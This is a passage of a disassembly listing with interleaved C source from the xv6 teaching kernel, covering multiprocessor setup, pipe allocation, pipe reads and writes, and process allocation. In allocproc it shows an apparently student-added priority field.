8010324d: ba 22 00 00 00 mov $0x22,%edx
80103252: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103253: ba 23 00 00 00 mov $0x23,%edx
80103258: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103259: 83 c8 01 or $0x1,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010325c: ee out %al,(%dx)
}
}
8010325d: 8d 65 f4 lea -0xc(%ebp),%esp
80103260: 5b pop %ebx
80103261: 5e pop %esi
80103262: 5f pop %edi
80103263: 5d pop %ebp
80103264: c3 ret
80103265: 8d 76 00 lea 0x0(%esi),%esi
if(ncpu < NCPU) {
80103268: 8b 0d 00 29 11 80 mov 0x80112900,%ecx
8010326e: 83 f9 01 cmp $0x1,%ecx
80103271: 7f 19 jg 8010328c <mpinit+0x16c>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103273: 0f b6 50 01 movzbl 0x1(%eax),%edx
80103277: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi
ncpu++;
8010327d: 83 c1 01 add $0x1,%ecx
80103280: 89 0d 00 29 11 80 mov %ecx,0x80112900
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103286: 88 97 a0 27 11 80 mov %dl,-0x7feed860(%edi)
p += sizeof(struct mpproc);
8010328c: 83 c0 14 add $0x14,%eax
continue;
8010328f: e9 7c ff ff ff jmp 80103210 <mpinit+0xf0>
80103294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ioapicid = ioapic->apicno;
80103298: 0f b6 50 01 movzbl 0x1(%eax),%edx
p += sizeof(struct mpioapic);
8010329c: 83 c0 08 add $0x8,%eax
ioapicid = ioapic->apicno;
8010329f: 88 15 80 27 11 80 mov %dl,0x80112780
continue;
801032a5: e9 66 ff ff ff jmp 80103210 <mpinit+0xf0>
801032aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return mpsearch1(0xF0000, 0x10000);
801032b0: ba 00 00 01 00 mov $0x10000,%edx
801032b5: b8 00 00 0f 00 mov $0xf0000,%eax
801032ba: e8 e1 fd ff ff call 801030a0 <mpsearch1>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801032bf: 85 c0 test %eax,%eax
return mpsearch1(0xF0000, 0x10000);
801032c1: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801032c4: 0f 85 a9 fe ff ff jne 80103173 <mpinit+0x53>
801032ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
panic("Expect to run on an SMP");
801032d0: 83 ec 0c sub $0xc,%esp
801032d3: 68 7d 78 10 80 push $0x8010787d
801032d8: e8 b3 d0 ff ff call 80100390 <panic>
panic("Didn't find a suitable machine");
801032dd: 83 ec 0c sub $0xc,%esp
801032e0: 68 9c 78 10 80 push $0x8010789c
801032e5: e8 a6 d0 ff ff call 80100390 <panic>
ismp = 0;
801032ea: 31 db xor %ebx,%ebx
801032ec: e9 26 ff ff ff jmp 80103217 <mpinit+0xf7>
801032f1: 66 90 xchg %ax,%ax
801032f3: 66 90 xchg %ax,%ax
801032f5: 66 90 xchg %ax,%ax
801032f7: 66 90 xchg %ax,%ax
801032f9: 66 90 xchg %ax,%ax
801032fb: 66 90 xchg %ax,%ax
801032fd: 66 90 xchg %ax,%ax
801032ff: 90 nop
80103300 <picinit>:
80103300: 55 push %ebp
80103301: b8 ff ff ff ff mov $0xffffffff,%eax
80103306: ba 21 00 00 00 mov $0x21,%edx
8010330b: 89 e5 mov %esp,%ebp
8010330d: ee out %al,(%dx)
8010330e: ba a1 00 00 00 mov $0xa1,%edx
80103313: ee out %al,(%dx)
80103314: 5d pop %ebp
80103315: c3 ret
80103316: 66 90 xchg %ax,%ax
80103318: 66 90 xchg %ax,%ax
8010331a: 66 90 xchg %ax,%ax
8010331c: 66 90 xchg %ax,%ax
8010331e: 66 90 xchg %ax,%ax
80103320 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103320: 55 push %ebp
80103321: 89 e5 mov %esp,%ebp
80103323: 57 push %edi
80103324: 56 push %esi
80103325: 53 push %ebx
80103326: 83 ec 0c sub $0xc,%esp
80103329: 8b 5d 08 mov 0x8(%ebp),%ebx
8010332c: 8b 75 0c mov 0xc(%ebp),%esi
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
8010332f: c7 06 00 00 00 00 movl $0x0,(%esi)
80103335: c7 03 00 00 00 00 movl $0x0,(%ebx)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
8010333b: e8 40 da ff ff call 80100d80 <filealloc>
80103340: 85 c0 test %eax,%eax
80103342: 89 03 mov %eax,(%ebx)
80103344: 74 22 je 80103368 <pipealloc+0x48>
80103346: e8 35 da ff ff call 80100d80 <filealloc>
8010334b: 85 c0 test %eax,%eax
8010334d: 89 06 mov %eax,(%esi)
8010334f: 74 3f je 80103390 <pipealloc+0x70>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103351: e8 ca f1 ff ff call 80102520 <kalloc>
80103356: 85 c0 test %eax,%eax
80103358: 89 c7 mov %eax,%edi
8010335a: 75 54 jne 801033b0 <pipealloc+0x90>
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
8010335c: 8b 03 mov (%ebx),%eax
8010335e: 85 c0 test %eax,%eax
80103360: 75 34 jne 80103396 <pipealloc+0x76>
80103362: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileclose(*f0);
if(*f1)
80103368: 8b 06 mov (%esi),%eax
8010336a: 85 c0 test %eax,%eax
8010336c: 74 0c je 8010337a <pipealloc+0x5a>
fileclose(*f1);
8010336e: 83 ec 0c sub $0xc,%esp
80103371: 50 push %eax
80103372: e8 c9 da ff ff call 80100e40 <fileclose>
80103377: 83 c4 10 add $0x10,%esp
return -1;
}
8010337a: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
8010337d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103382: 5b pop %ebx
80103383: 5e pop %esi
80103384: 5f pop %edi
80103385: 5d pop %ebp
80103386: c3 ret
80103387: 89 f6 mov %esi,%esi
80103389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(*f0)
80103390: 8b 03 mov (%ebx),%eax
80103392: 85 c0 test %eax,%eax
80103394: 74 e4 je 8010337a <pipealloc+0x5a>
fileclose(*f0);
80103396: 83 ec 0c sub $0xc,%esp
80103399: 50 push %eax
8010339a: e8 a1 da ff ff call 80100e40 <fileclose>
if(*f1)
8010339f: 8b 06 mov (%esi),%eax
fileclose(*f0);
801033a1: 83 c4 10 add $0x10,%esp
if(*f1)
801033a4: 85 c0 test %eax,%eax
801033a6: 75 c6 jne 8010336e <pipealloc+0x4e>
801033a8: eb d0 jmp 8010337a <pipealloc+0x5a>
801033aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
initlock(&p->lock, "pipe");
801033b0: 83 ec 08 sub $0x8,%esp
p->readopen = 1;
801033b3: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
801033ba: 00 00 00
p->writeopen = 1;
801033bd: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
801033c4: 00 00 00
p->nwrite = 0;
801033c7: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
801033ce: 00 00 00
p->nread = 0;
801033d1: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
801033d8: 00 00 00
initlock(&p->lock, "pipe");
801033db: 68 d0 78 10 80 push $0x801078d0
801033e0: 50 push %eax
801033e1: e8 3a 10 00 00 call 80104420 <initlock>
(*f0)->type = FD_PIPE;
801033e6: 8b 03 mov (%ebx),%eax
return 0;
801033e8: 83 c4 10 add $0x10,%esp
(*f0)->type = FD_PIPE;
801033eb: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
801033f1: 8b 03 mov (%ebx),%eax
801033f3: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
801033f7: 8b 03 mov (%ebx),%eax
801033f9: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
801033fd: 8b 03 mov (%ebx),%eax
801033ff: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
80103402: 8b 06 mov (%esi),%eax
80103404: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
8010340a: 8b 06 mov (%esi),%eax
8010340c: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103410: 8b 06 mov (%esi),%eax
80103412: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80103416: 8b 06 mov (%esi),%eax
80103418: 89 78 0c mov %edi,0xc(%eax)
}
8010341b: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
8010341e: 31 c0 xor %eax,%eax
}
80103420: 5b pop %ebx
80103421: 5e pop %esi
80103422: 5f pop %edi
80103423: 5d pop %ebp
80103424: c3 ret
80103425: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103430 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80103430: 55 push %ebp
80103431: 89 e5 mov %esp,%ebp
80103433: 56 push %esi
80103434: 53 push %ebx
80103435: 8b 5d 08 mov 0x8(%ebp),%ebx
80103438: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
8010343b: 83 ec 0c sub $0xc,%esp
8010343e: 53 push %ebx
8010343f: e8 1c 11 00 00 call 80104560 <acquire>
if(writable){
80103444: 83 c4 10 add $0x10,%esp
80103447: 85 f6 test %esi,%esi
80103449: 74 45 je 80103490 <pipeclose+0x60>
p->writeopen = 0;
wakeup(&p->nread);
8010344b: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
80103451: 83 ec 0c sub $0xc,%esp
p->writeopen = 0;
80103454: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
8010345b: 00 00 00
wakeup(&p->nread);
8010345e: 50 push %eax
8010345f: e8 cc 0b 00 00 call 80104030 <wakeup>
80103464: 83 c4 10 add $0x10,%esp
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80103467: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
8010346d: 85 d2 test %edx,%edx
8010346f: 75 0a jne 8010347b <pipeclose+0x4b>
80103471: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
80103477: 85 c0 test %eax,%eax
80103479: 74 35 je 801034b0 <pipeclose+0x80>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
8010347b: 89 5d 08 mov %ebx,0x8(%ebp)
}
8010347e: 8d 65 f8 lea -0x8(%ebp),%esp
80103481: 5b pop %ebx
80103482: 5e pop %esi
80103483: 5d pop %ebp
release(&p->lock);
80103484: e9 97 11 00 00 jmp 80104620 <release>
80103489: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
wakeup(&p->nwrite);
80103490: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
80103496: 83 ec 0c sub $0xc,%esp
p->readopen = 0;
80103499: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
801034a0: 00 00 00
wakeup(&p->nwrite);
801034a3: 50 push %eax
801034a4: e8 87 0b 00 00 call 80104030 <wakeup>
801034a9: 83 c4 10 add $0x10,%esp
801034ac: eb b9 jmp 80103467 <pipeclose+0x37>
801034ae: 66 90 xchg %ax,%ax
release(&p->lock);
801034b0: 83 ec 0c sub $0xc,%esp
801034b3: 53 push %ebx
801034b4: e8 67 11 00 00 call 80104620 <release>
kfree((char*)p);
801034b9: 89 5d 08 mov %ebx,0x8(%ebp)
801034bc: 83 c4 10 add $0x10,%esp
}
801034bf: 8d 65 f8 lea -0x8(%ebp),%esp
801034c2: 5b pop %ebx
801034c3: 5e pop %esi
801034c4: 5d pop %ebp
kfree((char*)p);
801034c5: e9 46 ee ff ff jmp 80102310 <kfree>
801034ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801034d0 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
801034d0: 55 push %ebp
801034d1: 89 e5 mov %esp,%ebp
801034d3: 57 push %edi
801034d4: 56 push %esi
801034d5: 53 push %ebx
801034d6: 83 ec 28 sub $0x28,%esp
801034d9: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
801034dc: 53 push %ebx
801034dd: e8 7e 10 00 00 call 80104560 <acquire>
for(i = 0; i < n; i++){
801034e2: 8b 45 10 mov 0x10(%ebp),%eax
801034e5: 83 c4 10 add $0x10,%esp
801034e8: 85 c0 test %eax,%eax
801034ea: 0f 8e c9 00 00 00 jle 801035b9 <pipewrite+0xe9>
801034f0: 8b 4d 0c mov 0xc(%ebp),%ecx
801034f3: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
801034f9: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi
801034ff: 89 4d e4 mov %ecx,-0x1c(%ebp)
80103502: 03 4d 10 add 0x10(%ebp),%ecx
80103505: 89 4d e0 mov %ecx,-0x20(%ebp)
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103508: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx
8010350e: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx
80103514: 39 d0 cmp %edx,%eax
80103516: 75 71 jne 80103589 <pipewrite+0xb9>
if(p->readopen == 0 || myproc()->killed){
80103518: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax
8010351e: 85 c0 test %eax,%eax
80103520: 74 4e je 80103570 <pipewrite+0xa0>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80103522: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi
80103528: eb 3a jmp 80103564 <pipewrite+0x94>
8010352a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
wakeup(&p->nread);
80103530: 83 ec 0c sub $0xc,%esp
80103533: 57 push %edi
80103534: e8 f7 0a 00 00 call 80104030 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80103539: 5a pop %edx
8010353a: 59 pop %ecx
8010353b: 53 push %ebx
8010353c: 56 push %esi
8010353d: e8 3e 09 00 00 call 80103e80 <sleep>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103542: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
80103548: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx
8010354e: 83 c4 10 add $0x10,%esp
80103551: 05 00 02 00 00 add $0x200,%eax
80103556: 39 c2 cmp %eax,%edx
80103558: 75 36 jne 80103590 <pipewrite+0xc0>
if(p->readopen == 0 || myproc()->killed){
8010355a: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax
80103560: 85 c0 test %eax,%eax
80103562: 74 0c je 80103570 <pipewrite+0xa0>
80103564: e8 57 03 00 00 call 801038c0 <myproc>
80103569: 8b 40 24 mov 0x24(%eax),%eax
8010356c: 85 c0 test %eax,%eax
8010356e: 74 c0 je 80103530 <pipewrite+0x60>
release(&p->lock);
80103570: 83 ec 0c sub $0xc,%esp
80103573: 53 push %ebx
80103574: e8 a7 10 00 00 call 80104620 <release>
return -1;
80103579: 83 c4 10 add $0x10,%esp
8010357c: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
80103581: 8d 65 f4 lea -0xc(%ebp),%esp
80103584: 5b pop %ebx
80103585: 5e pop %esi
80103586: 5f pop %edi
80103587: 5d pop %ebp
80103588: c3 ret
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103589: 89 c2 mov %eax,%edx
8010358b: 90 nop
8010358c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p->data[p->nwrite++ % PIPESIZE] = addr[i];
80103590: 8b 75 e4 mov -0x1c(%ebp),%esi
80103593: 8d 42 01 lea 0x1(%edx),%eax
80103596: 81 e2 ff 01 00 00 and $0x1ff,%edx
8010359c: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
801035a2: 83 c6 01 add $0x1,%esi
801035a5: 0f b6 4e ff movzbl -0x1(%esi),%ecx
for(i = 0; i < n; i++){
801035a9: 3b 75 e0 cmp -0x20(%ebp),%esi
801035ac: 89 75 e4 mov %esi,-0x1c(%ebp)
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801035af: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1)
for(i = 0; i < n; i++){
801035b3: 0f 85 4f ff ff ff jne 80103508 <pipewrite+0x38>
wakeup(&p->nread); //DOC: pipewrite-wakeup1
801035b9: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
801035bf: 83 ec 0c sub $0xc,%esp
801035c2: 50 push %eax
801035c3: e8 68 0a 00 00 call 80104030 <wakeup>
release(&p->lock);
801035c8: 89 1c 24 mov %ebx,(%esp)
801035cb: e8 50 10 00 00 call 80104620 <release>
return n;
801035d0: 83 c4 10 add $0x10,%esp
801035d3: 8b 45 10 mov 0x10(%ebp),%eax
801035d6: eb a9 jmp 80103581 <pipewrite+0xb1>
801035d8: 90 nop
801035d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801035e0 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
801035e0: 55 push %ebp
801035e1: 89 e5 mov %esp,%ebp
801035e3: 57 push %edi
801035e4: 56 push %esi
801035e5: 53 push %ebx
801035e6: 83 ec 18 sub $0x18,%esp
801035e9: 8b 75 08 mov 0x8(%ebp),%esi
801035ec: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
801035ef: 56 push %esi
801035f0: e8 6b 0f 00 00 call 80104560 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801035f5: 83 c4 10 add $0x10,%esp
801035f8: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx
801035fe: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx
80103604: 75 6a jne 80103670 <piperead+0x90>
80103606: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx
8010360c: 85 db test %ebx,%ebx
8010360e: 0f 84 c4 00 00 00 je 801036d8 <piperead+0xf8>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
80103614: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx
8010361a: eb 2d jmp 80103649 <piperead+0x69>
8010361c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103620: 83 ec 08 sub $0x8,%esp
80103623: 56 push %esi
80103624: 53 push %ebx
80103625: e8 56 08 00 00 call 80103e80 <sleep>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
8010362a: 83 c4 10 add $0x10,%esp
8010362d: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx
80103633: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx
80103639: 75 35 jne 80103670 <piperead+0x90>
8010363b: 8b 96 40 02 00 00 mov 0x240(%esi),%edx
80103641: 85 d2 test %edx,%edx
80103643: 0f 84 8f 00 00 00 je 801036d8 <piperead+0xf8>
if(myproc()->killed){
80103649: e8 72 02 00 00 call 801038c0 <myproc>
8010364e: 8b 48 24 mov 0x24(%eax),%ecx
80103651: 85 c9 test %ecx,%ecx
80103653: 74 cb je 80103620 <piperead+0x40>
release(&p->lock);
80103655: 83 ec 0c sub $0xc,%esp
return -1;
80103658: bb ff ff ff ff mov $0xffffffff,%ebx
release(&p->lock);
8010365d: 56 push %esi
8010365e: e8 bd 0f 00 00 call 80104620 <release>
return -1;
80103663: 83 c4 10 add $0x10,%esp
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
80103666: 8d 65 f4 lea -0xc(%ebp),%esp
80103669: 89 d8 mov %ebx,%eax
8010366b: 5b pop %ebx
8010366c: 5e pop %esi
8010366d: 5f pop %edi
8010366e: 5d pop %ebp
8010366f: c3 ret
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103670: 8b 45 10 mov 0x10(%ebp),%eax
80103673: 85 c0 test %eax,%eax
80103675: 7e 61 jle 801036d8 <piperead+0xf8>
if(p->nread == p->nwrite)
80103677: 31 db xor %ebx,%ebx
80103679: eb 13 jmp 8010368e <piperead+0xae>
8010367b: 90 nop
8010367c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103680: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx
80103686: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx
8010368c: 74 1f je 801036ad <piperead+0xcd>
addr[i] = p->data[p->nread++ % PIPESIZE];
8010368e: 8d 41 01 lea 0x1(%ecx),%eax
80103691: 81 e1 ff 01 00 00 and $0x1ff,%ecx
80103697: 89 86 34 02 00 00 mov %eax,0x234(%esi)
8010369d: 0f b6 44 0e 34 movzbl 0x34(%esi,%ecx,1),%eax
801036a2: 88 04 1f mov %al,(%edi,%ebx,1)
for(i = 0; i < n; i++){ //DOC: piperead-copy
801036a5: 83 c3 01 add $0x1,%ebx
801036a8: 39 5d 10 cmp %ebx,0x10(%ebp)
801036ab: 75 d3 jne 80103680 <piperead+0xa0>
wakeup(&p->nwrite); //DOC: piperead-wakeup
801036ad: 8d 86 38 02 00 00 lea 0x238(%esi),%eax
801036b3: 83 ec 0c sub $0xc,%esp
801036b6: 50 push %eax
801036b7: e8 74 09 00 00 call 80104030 <wakeup>
release(&p->lock);
801036bc: 89 34 24 mov %esi,(%esp)
801036bf: e8 5c 0f 00 00 call 80104620 <release>
return i;
801036c4: 83 c4 10 add $0x10,%esp
}
801036c7: 8d 65 f4 lea -0xc(%ebp),%esp
801036ca: 89 d8 mov %ebx,%eax
801036cc: 5b pop %ebx
801036cd: 5e pop %esi
801036ce: 5f pop %edi
801036cf: 5d pop %ebp
801036d0: c3 ret
801036d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801036d8: 31 db xor %ebx,%ebx
801036da: eb d1 jmp 801036ad <piperead+0xcd>
801036dc: 66 90 xchg %ax,%ax
801036de: 66 90 xchg %ax,%ax
801036e0 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
801036e0: 55 push %ebp
801036e1: 89 e5 mov %esp,%ebp
801036e3: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801036e4: bb 54 29 11 80 mov $0x80112954,%ebx
{
801036e9: 83 ec 10 sub $0x10,%esp
acquire(&ptable.lock);
801036ec: 68 20 29 11 80 push $0x80112920
801036f1: e8 6a 0e 00 00 call 80104560 <acquire>
801036f6: 83 c4 10 add $0x10,%esp
801036f9: eb 14 jmp 8010370f <allocproc+0x2f>
801036fb: 90 nop
801036fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103700: 83 eb 80 sub $0xffffff80,%ebx
80103703: 81 fb 54 49 11 80 cmp $0x80114954,%ebx
80103709: 0f 83 89 00 00 00 jae 80103798 <allocproc+0xb8>
if(p->state == UNUSED)
8010370f: 8b 43 0c mov 0xc(%ebx),%eax
80103712: 85 c0 test %eax,%eax
80103714: 75 ea jne 80103700 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
80103716: a1 04 a0 10 80 mov 0x8010a004,%eax
p->priority = 10;
release(&ptable.lock);
8010371b: 83 ec 0c sub $0xc,%esp
p->state = EMBRYO;
8010371e: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->priority = 10;
80103725: c7 43 7c 0a 00 00 00 movl $0xa,0x7c(%ebx)
p->pid = nextpid++;
8010372c: 8d 50 01 lea 0x1(%eax),%edx
8010372f: 89 43 10 mov %eax,0x10(%ebx)
release(&ptable.lock);
80103732: 68 20 29 11 80 push $0x80112920
p->pid = nextpid++;
80103737: 89 15 04 a0 10 80 mov %edx,0x8010a004
release(&ptable.lock);
8010373d: e8 de 0e 00 00 call 80104620 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
80103742: e8 d9 ed ff ff call 80102520 <kalloc>
80103747: 83 c4 10 add $0x10,%esp
8010374a: 85 c0 test %eax,%eax
8010374c: 89 43 08 mov %eax,0x8(%ebx)
8010374f: 74 60 je 801037b1 <allocproc+0xd1>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103751: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
80103757: 83 ec 04 sub $0x4,%esp
sp -= sizeof *p->context;
8010375a: 05 9c 0f 00 00 add $0xf9c,%eax
sp -= sizeof *p->tf;
8010375f: 89 53 18 mov %edx,0x18(%ebx)
*(uint*)sp = (uint)trapret;
80103762: c7 40 14 e1 5a 10 80 movl $0x80105ae1,0x14(%eax)
p->context = (struct context*)sp;
80103769: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
8010376c: 6a 14 push $0x14
8010376e: 6a 00 push $0x0
80103770: 50 push %eax
80103771: e8 fa 0e 00 00 call 80104670 <memset>
p->context->eip = (uint)forkret;
80103776: 8b 43 1c mov 0x1c(%ebx),%eax
p->priority = 5; //default priority
return p;
80103779: 83 c4 10 add $0x10,%esp
p->context->eip = (uint)forkret;
8010377c: c7 40 10 c0 37 10 80 movl $0x801037c0,0x10(%eax)
p->priority = 5; //default priority
80103783: c7 43 7c 05 00 00 00 movl $0x5,0x7c(%ebx)
}
8010378a: 89 d8 mov %ebx,%eax
8010378c: 8b 5d fc mov -0x4(%ebp),%ebx
8010378f: c9 leave
80103790: c3 ret
80103791: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
80103798: 83 ec 0c sub $0xc,%esp
return 0;
8010379b: 31 db xor %ebx,%ebx
release(&ptable.lock);
8010379d: 68 20 29 11 80 push $0x80112920
801037a2: e8 79 0e 00 00 call 80104620 <release>
}
801037a7: 89 d8 mov %ebx,%eax
return 0;
801037a9: 83 c4 10 add $0x10,%esp
}
801037ac: 8b 5d fc mov -0x4(%ebp),%ebx
801037af: c9 leave
801037b0: c3 ret
p->state = UNUSED;
801037b1: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
801037b8: 31 db xor %ebx,%ebx
801037ba: eb ce jmp 8010378a <allocproc+0xaa>
801037bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801037c0 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
801037c0: 55 push %ebp
801037c1: 89 e5 mov %esp,%ebp
801037c3: 83 ec 14 sub $0x14,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
801037c6: 68 20 29 11 80 push $0x80112920
801037cb: e8 50 0e 00 00 call 80104620 <release>
if (first) {
801037d0: a1 00 a0 10 80 mov 0x8010a000,%eax
801037d5: 83 c4 10 add $0x10,%esp
801037d8: 85 c0 test %eax,%eax
801037da: 75 04 jne 801037e0 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
801037dc: c9 leave
801037dd: c3 ret
801037de: 66 90 xchg %ax,%ax
iinit(ROOTDEV);
801037e0: 83 ec 0c sub $0xc,%esp
first = 0;
801037e3: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000
801037ea: 00 00 00
iinit(ROOTDEV);
801037ed: 6a 01 push $0x1
801037ef: e8 8c dc ff ff call 80101480 <iinit>
initlog(ROOTDEV);
801037f4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801037fb: e8 e0 f3 ff ff call 80102be0 <initlog>
80103800: 83 c4 10 add $0x10,%esp
}
80103803: c9 leave
80103804: c3 ret
80103805: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103810 <pinit>:
{
80103810: 55 push %ebp
80103811: 89 e5 mov %esp,%ebp
80103813: 83 ec 10 sub $0x10,%esp
initlock(&ptable.lock, "ptable");
80103816: 68 d5 78 10 80 push $0x801078d5
8010381b: 68 20 29 11 80 push $0x80112920
80103820: e8 fb 0b 00 00 call 80104420 <initlock>
}
80103825: 83 c4 10 add $0x10,%esp
80103828: c9 leave
80103829: c3 ret
8010382a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103830 <mycpu>:
{
80103830: 55 push %ebp
80103831: 89 e5 mov %esp,%ebp
80103833: 83 ec 08 sub $0x8,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103836: 9c pushf
80103837: 58 pop %eax
if(readeflags()&FL_IF)
80103838: f6 c4 02 test $0x2,%ah
